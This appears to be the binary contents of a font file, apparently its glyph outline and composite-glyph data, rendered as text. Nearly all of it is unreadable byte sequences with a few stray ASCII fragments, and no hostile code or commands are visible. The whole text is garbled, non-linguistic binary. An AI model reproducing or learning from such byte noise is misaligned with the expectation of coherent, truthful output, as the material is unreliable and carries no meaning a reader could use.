7i�|X6?hI��!&Z��L&AU`YC))CY`V@�:i�Y;fQ:Ibq9_��NM��`AqU13Vq>:_D%�9DHY�j:����!!#�I�"���"����O�,��	+3>.'.6>?3#^JjN9.&WH�JlN9.&XI�t��F6R������G6S�����/g��k23k��g/��W��ܜVzzV���ݜW�����.>2#".'!!#7#7"2>76.��V����[V��{ HD:@�"�,/�/�"��oK-2a�lI,.��_�vBDv�^`�wC
*������(Hf|gK*'HhA>fJ��R���2	����)3>#"&'.6?33"&7>;7">.#2>d0HeE"IUc;l�6==�!YU�Ś
@k�g�H|�P��)/D/'A|
#ZR�RnI/T��i! i��T_�g83��EfC ��B����*F)��m�d/��5f���V��a��(�3#U�⁐՘��?����mv���%%#>7>73B�>Zs@5~sX�<Vk:G�rQ�<lW>1O@;jV>,M��'��fCb}�*#>7632#".'332>76.#"�Z~�Z@BC}Y)
4Oj@*M=&�1*,C)13���s��V$MvR3YB&0K6 %*?*
 ���3!�9�!��#�z5���`)%#".673327673327>73#7#"�0uKDT%~�}GO*++}�}/JI(+}�ڧ-o?�rHE.q����w�9=?����78=�s���`<?�VO{#76&#"!!#3>32O/�/Nq��"_��VR�,�!D�s�}�������V
�ab�]�Vsw %#".7>32733## 6& �>�fe�Rf��ed�����S���T\�T^��TXQ�؈�ۙRVT��/��V��R����+�V3{3##6&#"#3>32
k��R��Nq��"{�ڸ!D�s�}��ُ�V`������`�ab�b��r3!!326?3#7#"&bܸU��/kPp��!.���!D�r�{�l�L��ח����0�ad�]�Vsw%#".7>32733! 6& �>�fe�Rf��ed��������T\�T^��TXQ�؈�ۙRVT������R����7C	)3!!!�#/�Uz���%�L����VO{#6&#"!!3>32O���Nq��"����,�!D�s�}��J������l�
�ab����V�{+;6.#"#3>323##".7>32>7#"�
?qRM{^C˷+�!-X^g=f�Zeh$hz�>HlC
Kfx<X%GB:�60$1/f�q<*Z�e��
�:L-S�چ���f)'JiANsK%�< IvV)=(5)���%!"2>7".7>3!33O��;lZD,Z�rX?
\\���P
Y��{U�U��:l�ae�p;<o�e��(sÏQX�׀q˚[��L����V-!#6&#"#3>32���Nq��!η��uD�s�}-����������ab����V`!!3����-���
���V�-327673#7#".6?>'&#"#3>32�	JI()-|�٧-o?HQ1	JI()-Ϧ��g-o?HQ�y�8=?����`<?8j�c�y�8=?�����<?8j�cJ���+/#".7>7'32>7>.'#"�!Za���Ye��S�����.`POzY:
!&�NzZ=`�2onf*zΗUU��z�ˍR�!b���S�oAAo�S3omf*Bq���V332673##"&7|��Op��!{��ԹsD�r�|-������{��Rad����NBK�]��0E#7#".7>7.7>?3326732>?>.'�#;Pb.d�"O_n;Y~IW��i8K+
C�J*	
.'��(N=MvV6
KCDzdG,�
 /{��[���,J6Bv�e`���D-?N( ?OU100$	��EvV17]{DV3ywl'5{��+�V
{3!6&#"#3>32
�����Nq��"{�ڸ!D�s�}��/�`������`�ab�o���(;2.#"#7#".767#73>32>?6.'_2
56rtr5v�m%t�!!M\k>\{ErQ��D����>5S0KsR2O�kHm�	
*MnD
O��r���,H4@q�Z�+��^�uA��XuF<ay=�L�`:v��&��33267!##7#"&7���Pp��!�a���!D�r�{-`�H����/��{�ad����V)`
3+7327q��&ۦ��0`���Ҝ����#7!32673#7#"&7��`�Pp��!|�ڹ!D�r�{-��������{���ad��5�Vl|33!!".7>76.#"'>32�t*?'
Qy���|W
>fG#MMGu+dqz@j�g%W{���rI��/?$2msz~���D;`C$%6"e-H47i�cK���~q`L��NB{Q�v�V��1!!".7>7".7>?3267����#9&	=Xn|�@-gR,IBre%5P
;N'#?)V��x[:��+A,:�����4 ElL<{7`q,`/'8%	q<����s+'\�V�`(%#".673327673327673##"0uKDT%~�}
IO*)-}�}/KI((-}��ӧf-o?�rHE.q����w�9=;����78=<����
<?9�Vt|0H3!!".7>7>76.7>32%">76.tX{���qI
�t&>)
mW",
'1'

4K]hm6f�i)�H+[N:
 (	AK��_>c�O���}p_N�+9 B�I;=@#5ZRLQY45_Q@.5g��4N3!ADFLR,RN=���K?`B!!{$"#3>32!!7>76.�>jR9
�ڸ"E�yc�B	8Qh@)��IqS8*X�4ZzF�s`�dcF}�gS��v9��4my�PI�a8��w��g`X�J�V~3326733!#"&J���Op��!й�����sD�r�|���H����/�ӑRad�-���{.!#>'&#"#7#".673327673>32��|	JI((��-o?GP ��|	JI()-|�-o?GP
�y�8=�e�^`<?6j�g�y�8=?��`<?6j�g#�VT{#6&#"#3>32T���Nq��"͸,�!D�s�}��J�������
�ab���]�H�{J"��`%!!3_&�"ٸ��`,�V�.!#>'&#"##".673327673>32��|	JI((֧e-o?GP ��|	JI()-ѧg-o?GP
�y�8=�e��
<?6j�g�y�8=?�5��<?6j�g��V�{&%!!#7#733>32#"&&#"32]?���ww��?�de�Sf��fg�'T\���T_������cc��TVR�ۊ�ٗQV���T���u��Z{R��V�$+6##".'73".7>;2"6.#2>�a�ӋR�RKzdQ$�8FW8�b�]%
P}�f�V��`��;}�
k8vc�^�dAC�ךU�[�7P2�,J5.-PpCHpM'�GH���+OHBR��Z�`2��Bu���3326733!7#"&ܸ�Pp��!|����_!D�r�{�l������{�/��ad��$R%3#3#��1ӥ�1��R�\���$7'{v����v�?9�9>>��p'0333#!!67676'&'767676'&'�M�M��]�]�d0�[f���~#���:d:���x~�GR@6{e:I5*e��v���!���	LV�x����ZQ��-�x.6{�<2�'1mc,#����{)7&7676&767#"767#"763263 #6#"�?
?B�~
?B(��('�H�(&ʑ\��?���!�s�BA?>BA?����pпQQ����9��2����,"2"76767$32632&#"# 76%7676���`�,�Θ�A-����
�I�O�a�L@3�l�^0&Ͻ�%��JX4*o���ab���u;\Sf��a��Ǝ:F��78U�N��Q�8327&'"76#"%67&76$#&67 #"'632`24F616��C!/6�!�:p�p2\���-;! �9'	2��'#�u`�0'"/��6O������A��K��%[9.�ȵ���!>3 #"&?327#'&&776j��efy3���L�x�/�F�.��	B
BC
�qu����Ѝ
���h!�	ACBB���_�)"32676&26''&7632#7676r$# %!E�ec9}�;V ��#&��!O���f�!*�`  %"%:yx��~)�R���h���KK�>�i���9"32676&&7656767$
3276320! 76-676�$" %"Y�)����=(�q��dz�0y�*/F�k?W���0,S�!��sF3Ho  %"%����}@���~Y9pe�D��QcF��lWNn�-7V�=����,2676&'&! 3%$6567&7'7$"%"�"/@Up�pr��=��.<l�"$�~"L7����  $! $����?����=�Qm�.��u�G4�0���{$"276$#"76$76g�
�
֛'���&T*&��''*��(��@@@���P�����yx��H����*%"32676&"#" #"7323272#6#"?$# %!Fz>6-U&*�)�C�&"$���C���+7��  %"%�&�P����W������0�����{#$"2"22#"7#&767663 #6#"��]��<�"$��,r#�&#��#��u���|y܀���ݹ��I��ed�m��%��>���{'&7766323276#6%$7"�BCC	��"��!(��)*��$r1�1���cRsB����F;��BCACK�����ؼJ����je����h0������ 26#"73267$76767673!"'#@�@>��z]iF��(+��*<x�"���A���>��s�@�0�e�g���u��/���ssM���|"267&76% 3%$����g+ܰ%'��&��!&%<9���V������&�����Ѩ�'��L�B&���"267&76! 3%$׀��h*ܰ%'��%�� '%<:۸�W������&�����Ѩ�'h���B ��PJ"32676&"32676&+&'#"'&7632'3273767&76676'7�$" %!��$" %"cYt�~@<w+��''�Nf�<�<stZ�!)Ѳ!
>�@#�blb�  &"$  %"%��IJTO�b����o;��4�ˋ�����P6A^g[�o��PI���$0+&'#"'&7632'32737673"32676& kb{dXt�~@=w+��'(�Nf�<�<st�m$# %!,�PIIJTO�b����o;��4�ˋ���  %"%2���},"32676&2737673%&'# 67&76�$# %!tn!<�=#vi ���>��hXt���>.�� 2��,��!�  %"%���4�ˮ�/���IJ=�%��ۏ����
��,"32676&2737673%&'# 67&76�$" %"sn <�=#vi ��>��iXt���=/�� 2��,�� �  %"%���4�˯����IJ=�%��ۏ���������`3323!"'#"763227Ӹ�6��6���?�x�>����)`�,�����88��{����,2676&'&! 3%$4767&7'7�$"$"�"/@U���r��>��.<k�"$�}#L7� ���  $! $�����&��=�Qm�.��u�G4�-����+"32676&6! ! &%$&7676$" $"T,����>96�����m�JG�2���)��)B��X  $  $�8$�{��������{��N&����.%"32676&%&'&'&7!2767!"'676%" $"�Il1����D�%,�/MN�fQ!S6���=(�w�!$  $������T�������rJco<�7���{"326! %&$7623 76! %@@<!�l��:q9�"�)��'T*W(���AT���Y���������=I������n�2:7"32676&%!$76! 676'7%&'&'&7!276 76! �&  $#VPI��
3/��T&J�^�p0����D�&+�/NN�gP�t�����!$  $=���1T�v�������T������EmMd�����4"327$"32$7&76367+&7632676#6#"u�
A?
��A?�Y�`?>��$ƾ$�E#��#e�$!��"SW�@���D?@w@@@@L��BE>�/���}����	��cb����W�Z����C����%-"32676&%$%&'&763 76.$" %!�<<��;z1�
ɝ{#*��*E:8)"9]���� B<S  %"$�36����H9���G)#�$67�����K�6"32676&$76%$76!232'&#"%$'&76$" %"�T1$��04��KZEhr���Z;U�
E�?O���q\,��)l��  %"%����+D�Yl0��yP^d6Q���qt^}��]Fk�&��$"2''&'$! '&7"32?6����\g�R1�ʞ��?F�)+��(#(&etm��h�%��
����N)=���m������d������������'j���uj������! &7623$76'76"�4����+��-* A	H���
B8
?;���k��P$U.F��M?>=(�{ ##"2#"73276#"I�O���7��N�&&��&TR
;C
>@{�j��V�����R777�����r'z�/kT�~i! ! !7 76! $%�>=&=>�?&'����%�~?>���~��T��i! ! 3!? 76! %%�>=&=M���'&����%�~?>��wJ�~��T�~i! ! !7 76! #7$%�>=&=>�?&'�����+�+%�~?>���~��N��T��i! ! 3!? 76! #7%%�>=&=M���'&�����*�*%�~?>��wJ�~��T����3<��"36676'#"7632��AB��/D�$�e?I�����o[$��N[�u�'�����"327"767&7623273�,�JH�
�

��@�@&�,�W�s>
[yu?{EBXF���@�'676%"7676! 6"3��oc	��A"!7��*��9��<?8
_��F.UDW��T_`��~?=����276#""##"7!2327�0		0+		��q�V&ĸ!?Lݣa]�p�N0/.1i3 r��C���r����V3#1�E�V��E�� 76"%)76776 $7*	*+
�-��U����$N�1m++),}�݅.p����\(��_�P�4"!27676327673!#7676#"'&'&#";&763�56%2e*'UTH�)��DR�y/����LMO]i0�e>.`hH;��A?�~=
h�\$�kb8:;-F��_Zkf2)<��73733##7<�*�*��*�*���؎�������tP��<r632#"326�#��#&�иLT������{-z!! 476733 654'&5473$a�1��c�h�A���\�??KibcW?3�O)$�<V�(,!n(n�+^*! 47%7654'&5473654#3 i�<��V��j�jy���G�	 ��mQc�T�^z!(
G.�$�`��@GN>���YF�,�W9%3%! 47%67654#"&547! 654% !; -[�	�Q[|#���4_X ��
��A
F+�,Q<G�S�o�R-9(-	�!%�TY�6?4,���3+�U�W�.=6?&47!32363 ! 4?654+".#"7654+"32v1W�XV[=O�c����-;+�=A�9��zi*rGw#0���,�(o}�bb��L_�8^y�<��mbS�����P�:,���?1�T�W~(! 476733 7654#"&547!3 �N�I�h����/�	��+�
H�Z �w(19�js�'!���1'��%%GC.D+3q��8BS�Wy8! 476733 ?654+7;27654# #&547! �J�4�|~���+�II�/���(
�	C�^(��	-��*3;]mxR+$��b("���*#��&+:E5G'-X��3<�\#�(.X&2! 47?&547! 654+3 654'"6�c�5��@��	@T"
l�����F���*����VJYIJ/�'.Q�*2�U$��HSK<���K;�!&��)"�"� 0#67654+"! 4?!23632654##"32�
D��?^!S#+`���_}�3^t��qF	1W�5%|�HC����BuR:���CVn�cc��L��i,G��I6��H#654# #&547! 7D��7��Ej��^�r#���J;��ML��PZ�IW�Yl+! 476733 ?654+7327654!7 �N�C�n��x�1	
�AA�&��'���
�w35?�fq�-'�21)�������&*�1)�+2�Wu' #.#"'6?&47! >7654��>���)jS:Pr�Y�z��|���f[��|v
�2K_[
��aj��BOe����u>3�[�'! 47!23654##7! 654# 3 �`�E�ye��,2���9��
����I��dL]	}!��>>&��-4�T\G�P?�YN�#! 47)!"363654# ; j�2���CM���"9#Y�|���J�$��OFU�[���ڀ��GYH:�Q?�"�.#67654+"#654+"#&54?!2363 �.��(7	wK@(6�6)M�,3	��w
\{h4[`5����.$���N1P�-+����56f�hh��J\QS1! 476733 654+7327654'&5473�\�D�p
#w�t
�@�?R�(����#'���&79B�Z~�/(�I>3ه�|0�A'$�"�=T�0K�Y�2! 4733 7 7654%7%�O�0�z
��'4��B�	;�� h����k+2"��4<I�',����"�A�����3#6?654+"#654+"#&54?6%3723632w/��+&\XA >�?
3|g9 	�Ҁ
1������b�5\��T��Ҹ�[?����=4$O�ۥ30����@Dg�N{�R��=bb��J^
�!! 4733 654&54767d�=����	H��?����]K[�K<�r'"x�V�}|8;?��-���Y��%3! 47! 65'#z
#�A����0�)�o�Y�v��"uR��>�_i��=�p��d��=v_-T��nl�Y�5! 476733 7654##7654'#"'73263236;2L�M�e���	�/�e�40�J>X>HAV++3OLg!k��+��34=�Z{~,$���*!t��W;|�_�bc���1:N�W�<K!# 473; ?654'#736?654+"!# 4?!23632654+"32VG�48����/+$PP7$HS;(]����Pw�0s��1�x�*FM�2��2=��2:(!��e<'D���:)i{� <H��cc�DU�TLp�+ \��xI8�)�W��,%! 47673 65#"#"#"#&547!33�`�T�a���	�D;��
*�
;q�W��C�65>�dyq+%�^(�i!�@5`:DU7?1��K�V�76?&54?!3676?654+"#654+"'6&#"�IA�`_�6Z�/̌�"+dd:"<�<+L�2��/fi�S��66P�gg��J^F����>.����5<(K���HA������JTU�Y��"! 473$?## 47%33 73�I�F�i��/0l���28��+
�.e�/��'18'!���bMES���B6��	\�'3! 47%3654#"#7654#"#323632654# 32�\�Y�fe�-8	n�(��U,�Gܺ_������H���#jJY�!0%��!#*!��l���.8�/RA�J;�(#$654'&# #! '54#"36326u�A�Ų4@���:r��Bpc���*7G�06R�N�K\����AM<�����V��`M���h�3�Y�%3! 4?! 654+7327654'&5473���b���T?��:	XJ����#�l�e���Xf�!��s�aDdL��۞�h���*"���^)%w"]&/t[��
! 47!233654# 3 c�/��h��s�����M���WK[sN�Q@�vM<�]�)6!23632#654#"#7654#"367  4?3$654+ �<0�d���8�(�	n�)8_�me�+����"G����@���DYM3b�#!/%~�߁��Pc��\Pc&fM�rXD�&�YB�5C! 4767 654'&547 547!33#;27654+"�N�4�{c{-�2�M]�AAKU�cB� �]�]����&���m%3=i^i$I&!�}S^W�/8M	��0N�i7H?bJ�+�'��%~_�! 473363654# 3 g�9��«v)c�v���J�
��`N_����N^Q@�O?�H�YC�+%! 4767 654'&54?%773%�[�.���U�>�s��#..�58#���})�0B@M}�YiG>2�B���w�x������}J���$Lv?! 4?33 7654'#7327654+7327654'&5473�F�7�x�
�'R��dR��[�����y�uh��-5>ee/'��*e�zL��M�
h��/.h~:Pm�Y�Z! 47654'3!27654'#7367654+7327654+7327654'&5473�;�T�>
;kE
�	D]D
�g���k���o����o��z!��&����|��W;F+
��W`EG���5,�,#w�� j��\��Iy#B2)q�""x� ��0/�!I��`#27&547% 323&'$654# r�a�
j�x>��F�)�q��)�#<��<Y��<C��N`���Y�E�F=5�DU<R@�S�W�& 4?3 7654!+73 7#%�O�/�4�'�3	��rrF
�(�DrZ���	�m&3<o[*#� .'ՠeJ�]�0�^�)/"�W�2! 4733 7654+73$+ 47!3 !27�O�4�{��
3��Q���x	L���0�3L����k'2<+#�7"���%
(/��������ui5�"-�'3! 47%!7!$47! 3#3%! 3 73!7654# �#A�I�qE���y
A�z*rrr#���(�	)���*�����$*f�*1Q�&,ؔ�����c���=�X�*9!"'#!727654##"3$54?!2363654+"32�N��~W���$�
5ar$>`��
/M1�(Z���QmLI J�v��jt��|��	7&U���6({��:F�����?O���#p���*!�#�Y3+!! 47%$7654#"7! ! 654'7)S���XI]X{� �=`*����5	I;%�7�Y83<srg$z�8A:�08ԃM��.'�)&G%\Ln-R�Yn('3! 654'7!+"'#; 3! 47)�m;���	Y�@�D,�2�O�;�u����0-*Œ?��.0�8Y�(!��p#09��W�$*!6?3! 5476%$47$7654! �T�6�u�����7����	-���C1	����k���7@��u�!y�LL���(/�TK�)."�!)�.'�s�yh"56&#"'6?&547%'54' |\_�ZsWx�U�q���:)^�_�ytJf��FO����=%����SD@�b*��2��3#3#3#�"���"���"�㰽��s��2"5476;%"654#"32��7֥@$����F�ap%
Xx$�-8���0<L�RQ��(m�2&q��{
O3267>54&#"326?%!>54&#"7>32>32+3267#"&'#"&5467�1}i##N;Ze��D;Sj�+�aUF�5";�Hj�/�]����uUM1�L#O�8Rv2�Py��H'!b3<O��pJ8 FO�R�[nNX:2�)+SMPP�{��X+LU+)�""B?>C��'\i��V{0#"'&'732676'&+732676'&#"767632r53���QXZd cTTL��@?�����PP�c_^T"f]^V�yx �A@^���
VJ=+,�nQb54"�[\�m�
�P�d	
%!!7!!!#73��)��������q�-�я����������{,8P%#"&546?!>54&#"7>32>32#"&!3267"3267>7>54&�:�Pz��aUF�6#;�G_�":�Q��;'8�uP|4��B=Sk�<`(HCA_(Jb?@��+�TZ[nNX:2�)+E@AD��6�Ny�GfkD�L8GN��dGB,�jl� MTEF5�`V�$QW�/�{ #6&#"�71Ҽ7�)e���)/.����������/ 33267�8��.�8�*f���*/���.����+0[%!7!2676&#!7!#�J$�������$^$�WD"���lp����2�r��V��$W?373!7!2676&#!7!#W'�(A'�'#�#�jxex�E$$v:&"�z�������lp����2�r��+S")7!2676&#!7!2676&#!7!#rB0��w!��}o� ��|p�!`!`6,
Y�"iJ�o�5FP;�9JI9��!c?Le����
!3#'!#��l�~���n�|�U������!�#3#3!7##3!�0��;���)�it�:��T�_�_��_��D_�P�����
(3267654&#3267654&#%!2#!�;�okIjT1�[_=]���ydUZF����+��EO2BX�?F(1]bFMXb8rt����
267654&+2+���$O�=~�؉*�ؿ����N9Po�v�u;I��D����!!!!!!�.�P0��d;����_�_��_����!7!!7!7!7ע���;�d�0�R�_/_�_���!#"&547>32.#"326?#7!`<�L��(��<g,,b<|�!E|*C,��*+�s<E��t+)��L:L��]����3!3#!#��B^B~�~M��M��W����r���!#3!73#�
�~����~��_�z__����73267#7!#"&0qBZW[�on��=r��--Sr�_�͞����33	##c�H֔�P��r?��t����\����M�3!!�������_���33###l�P���u��`T�u�V����G������	33##����{����z�P�����P����	##3�{��>��z�����PD�P����654&#"3267 &547> 'a`s$'`as�*��Y*�>Z=hG6q��hF6q���רaJ^�שcI����
3267654&#%!2+#�=�XsHY���y���A���SJ1H]oP {����� #'.+#!23267654&#�.9"T�G C>zD���|y��:�\hF['?]��Z4��DmNShP��IK/CA� �!!#!S��ڐ�����_�����33267>73#"&'.540dn
F67Q
o�d931qCBe#%	���=4!!!!4<8���l$!  !#D7�>�333##5|*�|��x �y�Y��>����)��
."326?#7#"&546;7>54&#"7>32�KI+3A7]�}Ot.{F`s§�PI6~FD{8u��
E)/7wg+��]58]Nm�"
03e\Q:&��
03267654&#"3>32+3267#"&'&54"&eu6D`�~Ot1}Pl[���;];@Ez8Wr�??#6vh+f]85]:im+9g..-)�� 73#7#"&547>32267654&"-t�t'k?�W
!�@V��-�r.�p�N��O/0�P2;��0��8,1]{w7+2^z���
O3267>54&#"326?%!>54&#"7>32>32+3267#"&'#"&5467�	NC2%8@��
+%4C��8
=5,[!&S-CXY:Q`��J51S02V$3K X2MZ)7",K�) ',GH.P3>,1 `.+-,QEpz1+/^%##%VIG4��%267>54&#">32#"&'#3L5V$@?5V %C'h@gs4-0�N>Tu�u�304�=GH320�?DK�/0thQ�=@G0/Og��%"3267>54&3#7#"&5467>32h7T"@@5W#EkIt�t)h?gr3+/�N>\�103�AGH311�@CKD��O/0ujP�<BC0%��	&>54&#"#"&5467>32!32676RIM��B~A��KC4Eu��b\8�H
	CKeU��}wX�=02�k8,NR $��(7!7654'&#"7>32#"'&5473267.�!0m8LH�9�I2
!ݗ�<'w$UT��2!<&8 fW<\*0��Q6O)3 /bW*��0.547>32.#";#"3267#"&547>H9��3q?>j0Vh	IUid^x
\m>w5@v6��o�?#
KX
]0*,Q>-	)5a[C=S*��0#"&'73267654&+73267654&#"7>32�H9��3q?>j0Vh	IUid^x
\m>w5@v6��o�?#
KX
]0*,Q>-	)5a[C=S��.267>54&#"#"&'7326?#"&5467>327302S#G?a�HO"��3d0.c2^g%nEar2-/�F?`t�3/2}<BK��BL)��fZhA12xgN�;?E60U?��	
!#7!#3#73��w�@�e��tt�#PP�-���
��3%3##�ykZ�����j7x���yFK����+>32#>54&#"#>54&#"#3>32�N16APiN 05OiN/3Oj�jF)/:�&)=3M<��g3B
$H}��g6@# C���s6"#*+��+73267654&#"#3>32�X�h�t9HW&HQnMt�t+vHl>!�pmwXEG�$%?g`��s^67d;*.��"32654&'2#"&5467>�g�FGg�F<{�4/1�\v�4/2���IH��IHWxsM�=BBzrL�?AC4��>32#"&'73267654&#"�3i3�{
"ߤ3\+&V:m�
Jm<g1��[*1��l$!~t*#>g!#4��>32#654&#"4#���a
{2XYuՠ��S2;6*3_zx4���#"&54733267�#���a
{2XYuՠ��T1;6*3_zx��%#3>32#"&7267>54&#"�Fs�t'l?fp1,0�M?Y�3U#A@5W#F��bP.1tiP�>BD/(203�@GG221�@DKD���!!;#"&5467#737�'��K1@��jbK��'��P��%R>B&TP�+��332673#7#"&5466TuU;5PoMu�t.qBR`���|&,0h_b��^76RG4���}!7!267654&#!7!#��K�_fVl�q�i7"��g<?0DhhL#a^���(#"&54733267332673#7#"&�K/UPjO
,24OjO/.3Ni�iG'07�('Q&<dk��c+(E�g��a+(E�g��6"#'#��33##qa<}�}�������?�g��d��[��tsV�d��+���s��d��#�s��dI�H�{."324&%$32.#">32#"&'#�N�.08pd��r��6
�R�L&H�P��&:�n��PHJ�nf�"�2ZTZ�jw�Q�w�I��,.��uW[׸���jp|aU���������`!!!7!!7!!7!!���<m�nm<�� pF�����Fh��ˏ�5�i������V);+73276?#"&7!7!�BY�&mo���Z980��&����|~��ij�>>~������ #3>32#"&654&"26�t�t'k?�W
!�@Vw-�r.�p�NqO/0�O2<��08+2]{w7+2^z3��#"&5467>32.#"3267!.i8��D9;�T8i2)Y5El%$'VV<p4�~{S�777f!22.v:QQ##-I�	5327654#"67&'&54767632&'&#"632#"$/\K@W
	a
3
!sq�611+,/.3pML	 J|��4� #� &:/>[).�XX	`@?s'"@*bhj*��!0#"&5467>32.''7'37.#"32654&NG/-0�Yy�0-0�T!��Y�B��2q�IAi��`�TN�:ACxrF�;>E0 430pQ13��
��CJ��$8%��0#"&'73267654&+73267654&#"7>32�PBŠ6o9,n?mU_chVeLW0pDEv3�ya�
H*]fa;7#9Q0" ,]
P75H3��#"3###737>3��<<

��xtx��
yvU/88P��#P,l\>��73#7!3#+7326?��c�<u��EEh��9H�\�P��\m;<XFF��

)07'"326#"&'7326?#"&547>3!
�Ut2VPoQ��/f18_*^j(kD|X�~5�;�xt4)2_z���f[bF53�N/8�*��332673##"&546UtU(FRmNt�uJ+wGl?���{#&?g`b��O68d;)&��3#!3#3!737#737#�tt�)>��&����&��,��r��\�PP�\���=#"&547#7!;+�hH	F�)W 9t�`:!(@P�p7��!#3!73#�@�g����g�P�-PP���#3!737#737#7!#��&����&��-�@�-�\�PP�\�PP�/��3#"5476;33#7#"3276.tt�ŧ�y�t�rx)?
rPHB��,^ss��W?#5�"
��
;#"&547#7!:!8��dM	��.�!7X`<!'(Q��9
;+73276?#"&547#7!_!8�EFh�u8$$hH|�. 8bm;<X#"Gb; &:Qt�]3!!xU�,��_���=67632+73276?#654'&#"#654'&#"#367632�&%/U@@A^uj3!!O
,2OjO/.Ni�i#$'0�):&=c��Sm;<X#"Ggc+ "#���ga,	"#���s6"���(#"&54733267332673##"&�K/UPjO
,24OjO/.3Ni�iDG'07�('Q&=ck��b+)E�g��a+(E�g��6"#'
��+732673>32#654&#"eV!10�X+a7[2SVR	;Fi�xlX6V~a88f5/=��w,!"Ck\[�v+764'&#"#3>32;#"'&547�B

:G44NW�W,`8[ 
C1"U

�H/-B-56\��sa88B$6/<��H5
X6,+<���	33##���o{���o{���~��-��( #"'&54767"!654'&!3276&;&
$_`��;%
#`�X;3e �� XY;*T6S1;�TTT5S1<�U=5c%3!=��3"==,��!,7#7!#3!737&'&54767676767654'&����b.%
#`Ji��^�i0%
#`No`f/#;��g5';�\\�A5S1<�TA�\\�
D5S1<�UD
]�/%>w6*3"%�;�
)=x5*4")%��F&'&#"#"/;#"'&54?32767654'&/&'&547>32�,329V01
Y&v+��9<
	C��r'


:v=R21
g&h'��@n�b/$+0Wf	,
X6!9%/"19-	*,X`���>;#"+7326�LG{no>;
�~r-C;�]MecU-:�JxlX6����%!!;+73276?#"'&547#737�"��BJ�DCh�u9"#�,B��"��P��#]m;<X#"G. =%TP���&733!33##7#"'&54?)3276�m>t>g>t>uu7t7>=Jz0
��N^B;�\����\�`9C*D'0$+-6/���&7!267654&'7!##"&547>72MlI��27�;!׎�|]X�\{'yK5\mY.`#{\8b(!���S $Ry:6��"3+"&5473;7267654&'&t�<!֎,r?
WtW
> [�44*�8a'"��W8%/��p+)mY/e��##3�{i��{�����s��	!!!7!������^�=R^�P��!!#;#"'&54?!7!���VG2!V
�����^�=R5
X6,+;^�	^�#67#7!7!3632#7327654#Ma	��\&��nI�w�
n#8�!!^�R^�=�_jR
!��� 2#"&'73267654&+7!7!�CJ9Cݱ;y>/xDx�VhnL�\&� f2|�mTP2I]R^%���
"654'&#"!3276  &5476&XY@8 M��XY@9�&S.��S.l?32&VVL~g?f&VVM]�XK_�۩YK_�����
�&$���H�
?{&D����P&%
���;��T&E�2���c��&%���;�cT&E�������&%���;��T&E���s�u�k'
��u&&�d����u�f&vZ&F�h����jP&'
����w���&G�������cj�&'����w�c�&G�������j�&'����h���&G������uj�&'�����w�u�&G�������j�&'����:��&G���5���&(���H�f}&H���5���&(���>�f}&H���5�u�m&�2&(
���b�ufH&�2&H���\�P&)
����P&I
���N���0&*
�2��;�Hy�&J������P&+
���THP&K
������c��&+���T�cH&K������N'
`u+��THX&KjH���?�u��&+������b�uH&K����������&+���T�H&K���0���&,���0��&L�����Jk&.
�u��Z�k&N
��ru�����cJ�&.���Z�c�&N�2������J�&.���Z���&N�2��N�c
�&/�2�� �c�&O���N�ci0&<
��� �ci0&=
���N��
�&/�2��h���&O���N�
�&/�2��:��&O�����k&0
�8u�����f&Pv����P&0
������&P�����c�&0�����c�{&P������P&1
���TH&Q������c��&1���T�cH{&Q���������&1���T��H{&Q��������&1���:�H{&Q���R���'
�2'
�2��u����&R&v�H���3�r&3
��w|�����Vhf&S���3�P&3
������Vh&S���P&5
������&U����c�&5�����c�{&U����c0&Z
�����c��&[������&5���h���{&U�����{P&6
���s��5&V����c{�&6���s�c5{&V����c{P&�&6
���s�c5&�&V����5P&7
����dP&W
�����c5�&7����cd�&W���h��5�&7���h��d�&W���:�5�&7���:�d�&W���P�d��&8���_�dm`&X���0���&8���0�m`&X���:���&8���:�m`&X���P����'
�2'
�8��}����&v&X�H����+E&9
�\����&Yv����c+�&9�����c�`&Y���R`r&:
�|��\#m&C�Z��R`r&:
�|��\#m&vOZ��R`4'j8$:��\#�&j�Z��R`P&:
���\#&Z���R�c`�&:���\�c#`&Z�����9P&;
������&[�����9N'
`u;������&[j����DP&<
�����V�&\������t&=
�.|��Nmm&]d�����c��&�=��N�cm`&�]��������&=���N��m`&]���T��H&K����d�&Wj����\#b&Zt����V�b&\t���P&A
���_��H"������c�&$���H�c?{&D������ct&�
�|��H�c?m&�d�������'
�T&$
����H��J�&��<�����c�m&�
���H�c?&�r����5�c��&(���b�cf}&H���5�^&(
�Tu��b��f7&Hv��5�c�t&�
�|��b�cfm&�d"��9�c��&,���=�c�&L���R�c�&2���u�cZ{&R���R�ct&�
�|��u�cZm&�d�����k&b
���u�����f&cv������k&b
���u�����f&cC������^&b
���u�����7&cv�����c&b�����c�{&c����P�c��&8���}�cm`&X������8k&q
��vu������f&rv�d�����8k&q
��vu������f&rC�d�����8^&q
��vu������7&rv�d����c8&q��v����c�q&r��d���Dr&<
�|����V�m&C�\���cD�&<�����V�`&\�����D^&<
�Tu����V�7&\v��E���r&r���E���r&����E���r&���E���r&����E���r&����E���r&����E����&����E����&������r'r�������r'��p�����r'�v�����r'��v����]r'�������{r'���������'���������'��p������Jr&r�����Jr&������Jr&�����Jr&�������r&�������r&������r'r��������r'���������r'��������r'�������J�r'�������h�r'������|�V\r&r��|�V\r&���|�V\r&��|�V\r&���|�V�r&���|�V�r&���|�V��&���|�V��&������r'r�]������r'��]������r'�J������r'��J������r'��|�����r'��|������'��D������'��D�����r&r����r&���8Jr&��jJr&���j�r&�����r&������&������&������r'r��������r'���������r'�������r'�������J�r'�������h�r'�������f��'�������^��'������u��Zr&r
��u��Zr&�
��u��Zr&
��u��Zr&�
��u���r&�
��u���r&�
����r'r��������r'���������r'���������r'���������r'��v�������r'��v�����r&r����r&�����r&����r&�����r&�����r&������&������&����]Dr'��������Dr'��J�����Dr'��1�����D�'������2���r&r��2���r&���2���r&��2���r&���2���r&���2���r&���2����&���2����&������r'r��������r'��v������r'��������r'���������r'��������r'����������'�������^��'������E���f&C���E���f������Jf&C�����ff���|�V\f&C��|�Vff�����f&C���ff���u��Zf&C
